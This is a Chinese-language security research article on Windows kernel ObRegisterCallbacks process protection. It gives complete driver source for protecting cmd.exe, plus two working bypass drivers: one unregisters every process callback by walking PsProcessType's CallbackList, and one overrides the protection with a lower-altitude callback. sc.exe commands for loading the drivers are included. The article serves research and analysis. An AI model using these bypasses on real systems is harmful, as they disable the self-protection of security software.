ObRegisterCallbacks 的装载和卸载
2023-4-26 14:51:0 Author: paper.seebug.org(查看原文) 阅读量:24 收藏

作者：[email protected]知道创宇404实验室
日期：2023年4月19日

0x00 前言

随着 windows 系统安全不断加强升级，在 windows7 x64 下推出了驱动程序强制签名和 PatchGuard 机制，使得通过 hook 技术实现进程保护的方法不再那么好用了，同时 windows 也推出了 ObRegisterCallbacks 回调函数以便于开发者实现进程保护，这是目前安全软件使用得最广泛的进程保护实现方法。

关于 ObRegisterCallbacks 实现进程保护已经有前辈提供了大量的文章和示例了，本文这里仅做简单的介绍，其本质就是在 NtOpenProcess 调用过程中，执行用户设置的回调函数，从而自定义的控制过滤进程权限；本文着重讨论如何卸载 ObRegisterCallbacks 回调函数，从而帮助我们进行日常的安全测试和研究。

本文试验环境：

windows 10 专业版 x64 1909
Visual Studio 2019
SDK 10.0.19041.685
WDK 10.0.19041.685

0x01 回调实现进程保护

我们编写对进程名为 cmd.exe 进行进程保护的 ObRegisterCallbacks 代码如下：

#include <ntddk.h>
#include <wdf.h>

#define PROCESS_TERMINATE 0x0001

DRIVER_INITIALIZE DriverEntry;

NTKERNELAPI UCHAR* PsGetProcessImageFileName(__in PEPROCESS Process);

PVOID RegistrationHandle = NULL;

OB_PREOP_CALLBACK_STATUS PreOperationCallback(_In_ PVOID RegistrationContext, _In_ POB_PRE_OPERATION_INFORMATION OperationInformation) {
    UNREFERENCED_PARAMETER(RegistrationContext);

    // filter by process name "cmd.exe"
    PUCHAR name = PsGetProcessImageFileName((PEPROCESS)OperationInformation->Object);
    if (strcmp((const char*)name, "cmd.exe") != 0) {
        return OB_PREOP_SUCCESS;
    }

    // filter operation "OB_OPERATION_HANDLE_CREATE", and remove "PROCESS_TERMINAL"
    if (OperationInformation->Operation == OB_OPERATION_HANDLE_CREATE) {
        KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "ProcessProtect: callback remove [%s] PROCESS_TERMINAL\n", name));
        OperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_TERMINATE;
    }

    return OB_PREOP_SUCCESS;
}

VOID OnUnload(_In_ PDRIVER_OBJECT DriverObject)
{
    UNREFERENCED_PARAMETER(DriverObject);

    // unregister callbacks
    if (RegistrationHandle != NULL) {
        ObUnRegisterCallbacks(RegistrationHandle);
        RegistrationHandle = NULL;
    }

    KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "ProcessProtect: unload driver\n"));
}

NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
    OB_OPERATION_REGISTRATION OperationRegistrations = { 0 };
    OB_CALLBACK_REGISTRATION  ObRegistration = { 0 };
    UNICODE_STRING Altitude = { 0 };
    NTSTATUS Status = STATUS_SUCCESS;

    UNREFERENCED_PARAMETER(DriverObject);
    UNREFERENCED_PARAMETER(RegistryPath);

    KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "ProcessProtect: driver entry\n"));

    // register unload function
    DriverObject->DriverUnload = OnUnload;

    // setup the ObRegistration calls
    OperationRegistrations.ObjectType   = PsProcessType;
    OperationRegistrations.Operations   = OB_OPERATION_HANDLE_CREATE;
    OperationRegistrations.PreOperation = PreOperationCallback;

    RtlInitUnicodeString(&Altitude, L"1000");
    ObRegistration.Version                    = OB_FLT_REGISTRATION_VERSION;
    ObRegistration.OperationRegistrationCount = 1;
    ObRegistration.Altitude                   = Altitude;
    ObRegistration.RegistrationContext        = NULL;
    ObRegistration.OperationRegistration      = &OperationRegistrations;

    Status = ObRegisterCallbacks(&ObRegistration, &RegistrationHandle);
    if (!NT_SUCCESS(Status)) {
        KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "ProcessProtect: ObRegisterCallbcks failed status 0x%x\n", Status));
        return Status;
    }

    return STATUS_SUCCESS;
}

由于 windows 对 ObRegisterCallbacks 的调用强制要求数字签名，我们需要在项目链接器中添加 /INTEGRITYCHECK 参数(否则调用 ObRegisterCallbacks 时将返回 0xC0000022 错误)，如下：

1.vs链接器添加/INTEGRITYCHECK选项

随后编译以上驱动程序代码，然后使用服务(service)的方式加载驱动程序：

# 为驱动程序创建服务
sc.exe create ProcessProtect type= kernel start= demand binPath= C:\Users\john\Desktop\workspace\ProcessProtect\x64\Debug\ProcessProtect.sys
# 查看服务信息
sc.exe queryex ProcessProtect
# 启动服务/驱动程序
sc.exe start ProcessProtect

启动如下：

2.为驱动创建服务(serivce)

随后使用任务管理器关闭 cmd.exe，测试如下：

3.无法关闭cmd.exe进程

0x02 卸载回调

安全软件和恶意软件都可以使用如上实现对自己进行保护，如果要对此类软件进行安全分析，那么绕过 ObRegisterCallbacks 实现的进程保护就是我们首先要解决的问题；不过我们通过上文了解了 ObRegisterCallbacks 的加载过程，最容易想到的则是使用系统函数 ObUnRegisterCallbacks 尝试对回调函数进行卸载。

首先我们分析下 ObRegisterCallbacks 的实现细节，该函数位于 ntoskrnl.exe，其函数定义为：

NTSTATUS ObRegisterCallbacks(
  [in]  POB_CALLBACK_REGISTRATION CallbackRegistration,
  [out] PVOID                     *RegistrationHandle
);

回调函数的注册实现如下：

4.逆向分析ObRegisterCallbacks

在 ObRegisterCallbacks 中首先进行了一些参数检查，如 MmVerifyCallbackFunctionCheckFlags 就是上文提到的强制数字签名的检查，随后将参数 CallbackRegistration 重新赋值并通过 ObpInsertCallbackByAltitude 将回调函数插入到内核对象中。

其中 v17 就是我们传入的 PsProcessType 或 PsThreadType 内核对象，符号表提供的数据结构如下：

typedef struct _OBJECT_TYPE {
    LIST_ENTRY TypeList;
    UNICODE_STRING Name;
    void* DefaultObject;
    unsigned __int8 Index;
    unsigned int TotalNumberOfObjects;
    unsigned int TotalNumberOfHandles;
    unsigned int HighWaterNumberOfObjects;
    unsigned int HighWaterNumberOfHandles;
    _OBJECT_TYPE_INITIALIZER TypeInfo; // unsigned __int8 Placeholder[0x78];
    EX_PUSH_LOCK TypeLock;
    unsigned int Key;
    LIST_ENTRY CallbackList;
}OBJECT_TYPE;

同时通过逆向分析可以推出回调对象 CALLBACK_ENTRY 内存大小为 CallbackRegistration->OperationRegistrationCount * 64 + 32 + CallbackRegistration->Altitude.Length，其数据结构如下：

typedef struct _CALLBACK_ENTRY_ITEM {
    LIST_ENTRY EntryItemList;
    OB_OPERATION Operations;
    CALLBACK_ENTRY* CallbackEntry;
    POBJECT_TYPE ObjectType;
    POB_PRE_OPERATION_CALLBACK PreOperation;
    POB_POST_OPERATION_CALLBACK PostOperation;
    __int64 unk;
}CALLBACK_ENTRY_ITEM;

typedef struct _CALLBACK_ENTRY {
    __int16 Version;
    char buffer1[6];
    POB_OPERATION_REGISTRATION RegistrationContext;
    __int16 AltitudeLength1;
    __int16 AltitudeLength2;
    char buffer2[4];
    WCHAR* AltitudeString;
    CALLBACK_ENTRY_ITEM Items;
}CALLBACK_ENTRY;

也就是说每一个回调对象将分配一个 CALLBACK_ENTRY，其中每一项回调操作将分配一个 CALLBACK_ENTRY_ITEM，Altitude 字符串拼接在该对象末尾；除此之外，回调对象创建成功后，会将 CALLBACK_ENTRY 赋值给 RegistrationHandle，用于 ObUnRegisterCallbacks 释放对象。

其 v16 参数则表示一个 CALLBACK_ENTRY_ITEM，其传入 ObpInsertCallbackByAltitude 函数，该函数根据 Altitude 的值排序并将回调函数插入到 OBJECT_TYPE->CallbackList 这个双向循环链表中，如下：

5.逆向分析ObpInsertCallbackByAltitude

熟悉了 ObRegisterCallbacks 的实现细节，按照如上注册流程，那么我们就可以通过 PsProcessType->CallbackList 获取到 CALLBACK_ENTRY_ITEM 这个双向循环链表，遍历该链表，再从其中每项 CALLBACK_ENTRY_ITEM->CallbackEntry 获取到 CALLBACK_ENTRY 对象，最后使用 ObUnRegisterCallbacks 释放该对象，就实现了对回调函数的卸载，编写代码如下：

#include <ntddk.h>
#include <wdf.h>

DRIVER_INITIALIZE DriverEntry;

typedef struct _OBJECT_TYPE {
    LIST_ENTRY TypeList;
    UNICODE_STRING Name;
    void* DefaultObject;
    unsigned __int8 Index;
    unsigned int TotalNumberOfObjects;
    unsigned int TotalNumberOfHandles;
    unsigned int HighWaterNumberOfObjects;
    unsigned int HighWaterNumberOfHandles;
    //_OBJECT_TYPE_INITIALIZER TypeInfo;
    unsigned __int8 Placeholder[0x78];
    EX_PUSH_LOCK TypeLock;
    unsigned int Key;
    LIST_ENTRY CallbackList;
}OBJECT_TYPE;

typedef struct _CALLBACK_ENTRY CALLBACK_ENTRY;
typedef struct _CALLBACK_ENTRY_ITEM CALLBACK_ENTRY_ITEM;

struct _CALLBACK_ENTRY_ITEM {
    LIST_ENTRY EntryItemList;
    OB_OPERATION Operations;
    CALLBACK_ENTRY* CallbackEntry;
    POBJECT_TYPE ObjectType;
    POB_PRE_OPERATION_CALLBACK PreOperation;
    POB_POST_OPERATION_CALLBACK PostOperation;
    __int64 unk;
};

struct _CALLBACK_ENTRY {
    __int16 Version;
    char buffer1[6];
    POB_OPERATION_REGISTRATION RegistrationContext;
    __int16 AltitudeLength1;
    __int16 AltitudeLength2;
    char buffer2[4];
    WCHAR* AltitudeString;
    CALLBACK_ENTRY_ITEM Items;
};


VOID OnUnload(_In_ PDRIVER_OBJECT DriverObject)
{
    UNREFERENCED_PARAMETER(DriverObject);

    KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "UnloadObCB: unload driver\n"));
}

NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
    UNREFERENCED_PARAMETER(DriverObject);
    UNREFERENCED_PARAMETER(RegistryPath);

    KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "UnloadObCB: driver entry\n"));

    // register unload function
    DriverObject->DriverUnload = OnUnload;

    // get "PsProcessType" kernel handle
    OBJECT_TYPE* pspt = *(POBJECT_TYPE*)PsProcessType;
    KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "UnloadObCB: pspt = %p\n", pspt));

    // traverse callback list
    PLIST_ENTRY head = (PLIST_ENTRY)&(pspt->CallbackList);
    PLIST_ENTRY current = head->Blink;
    // actually, we skipped the head node, accessing this node will cause a memory access error, maybe the head does not store real data. (head->Operation = 0x4b424742, this should be a boundary tag)
    while (current != head) {
        KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "UnloadObCB: c=0x%llx, c->Flink=0x%llx, c->Blink=0x%llx\n", current, current->Flink, current->Blink));
        CALLBACK_ENTRY_ITEM* item = (CALLBACK_ENTRY_ITEM*)current;
        CALLBACK_ENTRY* entry = item->CallbackEntry;
        KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "UnloadObCB: unregister Entry=%p, Altitude = %ls\n", entry, entry->AltitudeString));
        ObUnRegisterCallbacks(entry);

        current = current->Blink;
    }

    return STATUS_SUCCESS;
}

编译代码后也为该驱动程序创建服务 UnloadObCB，首先使用上文的 ProcessProtect 对 cmd.exe 进行进程保护，随后再使用 UnloadObCB 卸载回调，在任务管理器中发现可以正常关闭 cmd.exe 进程，执行如下：

6.卸载回调函数

其中 Altitude = 1000 的回调就是我们 ProcessProtect 所添加的回调函数对象。

但是这种方式并不通用和稳定，首先是其结构体可能因操作系统版本的变化而变化，其次当原驱动退出时会调用 ObUnRegisterCallbacks 卸载自己的回调函数，但由于已经被我们卸载了，这里就会触发蓝屏。

0x03 覆盖回调操作

我们再尝试去寻找一些更稳定的绕过 ObRegisterCallbacks 的方法，细心同学已经发现当我们注册回调时需要添加 Altitude(https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/load-order-groups-and-altitudes-for-minifilter-drivers)，该值为十进制的字符串，表示驱动程序的加载顺序，在 ObRegisterCallbacks 中表示回调函数的执行顺序：

7.回调函数执行顺序和Altitude

Pre- 回调函数链按 Altitude 从高到低的顺序调用，再执行实际的函数调用，然后是 Post- 回调函数链，按 Altitude 从低到高的顺序调用；

根据回调函数的调用顺序，那么我们可以考虑在 Post- 回调函数链的末尾设置恢复进程句柄权限的函数，即可覆盖之前的回调函数的操作；但由于 Post- 链上的 GrantedAccess 可读不可写，所以我们在 Pre- 回调函数链的末尾(这里我们设置为 Altitude=999)进行操作，编写代码如下：

#include <ntddk.h>
#include <wdf.h>

DRIVER_INITIALIZE DriverEntry;

NTKERNELAPI UCHAR* PsGetProcessImageFileName(__in PEPROCESS Process);

PVOID RegistrationHandle = NULL;

OB_PREOP_CALLBACK_STATUS PreOperationCallback(_In_ PVOID RegistrationContext, _In_ POB_PRE_OPERATION_INFORMATION OperationInformation) {
    UNREFERENCED_PARAMETER(RegistrationContext);

    // filter by process name "cmd.exe"
    PUCHAR name = PsGetProcessImageFileName((PEPROCESS)OperationInformation->Object);
    if (strcmp((const char*)name, "cmd.exe") != 0) {
        return OB_PREOP_SUCCESS;
    }

    if (OperationInformation->Operation == OB_OPERATION_HANDLE_CREATE) {
        KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "RecoverObCB: recover DesiredAccess=0x%x to OriginalDesiredAccess=0x%x\n",
            OperationInformation->Parameters->CreateHandleInformation.DesiredAccess,
            OperationInformation->Parameters->CreateHandleInformation.OriginalDesiredAccess
        ));
        OperationInformation->Parameters->CreateHandleInformation.DesiredAccess = OperationInformation->Parameters->CreateHandleInformation.OriginalDesiredAccess;
    }

    return OB_PREOP_SUCCESS;
}

VOID OnUnload(_In_ PDRIVER_OBJECT DriverObject)
{
    UNREFERENCED_PARAMETER(DriverObject);

    // unregister callbacks
    if (RegistrationHandle != NULL) {
        ObUnRegisterCallbacks(RegistrationHandle);
        RegistrationHandle = NULL;
    }

    KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "RecoverObCB: unload driver\n"));
}

NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
    OB_OPERATION_REGISTRATION OperationRegistrations = { 0 };
    OB_CALLBACK_REGISTRATION  ObRegistration = { 0 };
    UNICODE_STRING Altitude = { 0 };
    NTSTATUS Status = STATUS_SUCCESS;

    UNREFERENCED_PARAMETER(DriverObject);
    UNREFERENCED_PARAMETER(RegistryPath);

    KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "RecoverObCB: driver entry\n"));

    // register unload function
    DriverObject->DriverUnload = OnUnload;

    // setup the ObRegistration calls
    OperationRegistrations.ObjectType = PsProcessType;
    OperationRegistrations.Operations = OB_OPERATION_HANDLE_CREATE;
    OperationRegistrations.PreOperation = PreOperationCallback;

    RtlInitUnicodeString(&Altitude, L"999");
    ObRegistration.Version = OB_FLT_REGISTRATION_VERSION;
    ObRegistration.OperationRegistrationCount = 1;
    ObRegistration.Altitude = Altitude;
    ObRegistration.RegistrationContext = NULL;
    ObRegistration.OperationRegistration = &OperationRegistrations;

    Status = ObRegisterCallbacks(&ObRegistration, &RegistrationHandle);
    if (!NT_SUCCESS(Status)) {
        KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "RecoverObCB: ObRegisterCallbcks failed status 0x%x\n", Status));
        return Status;
    }

    return STATUS_SUCCESS;
}

编译代码后也为该驱动程序创建服务 RecoverObCB，首先使用上文的 ProcessProtect 对 cmd.exe 进行进程保护，随后再使用 RecoverObCB 覆盖回调操作，在任务管理器中发现可以正常关闭 cmd.exe 进程，执行如下：

8.覆盖回调操作

上图中当使用任务管理器关闭 cmd.exe 进程时，RecoverObCB 使用进程申请权限 OriginalDesiredAccess=0x1001 覆盖实际给予的权限 DesiredAccess=0x1000，从而覆盖掉 ProcessProtect 的操作，实现了对进程保护的绕过。

0x04 References

https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-obregistercallbacks?redirectedfrom=MSDN
https://github.com/microsoft/Windows-driver-samples/tree/main/general/obcallback/driver
https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/load-order-groups-and-altitudes-for-minifilter-drivers
https://douggemhax.wordpress.com/2015/05/27/obregistercallbacks-and-countermeasures/
https://github.com/whitephone/Windows-Rootkits/blob/master/ProtectProcessx64/ProtectProcessx64.c
https://bbs.kanxue.com/thread-140891.htm
https://stackoverflow.com/questions/68423609/kernel-driver-failed-to-register-callbacks-status-c0000022
https://www.unknowncheats.me/forum/general-programming-and-reversing/258832-kernelmode-driver-callbacks.html
https://blog.xpnsec.com/anti-debug-openprocess/
https://bbs.kanxue.com/thread-248703.htm

Paper 本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/2066/


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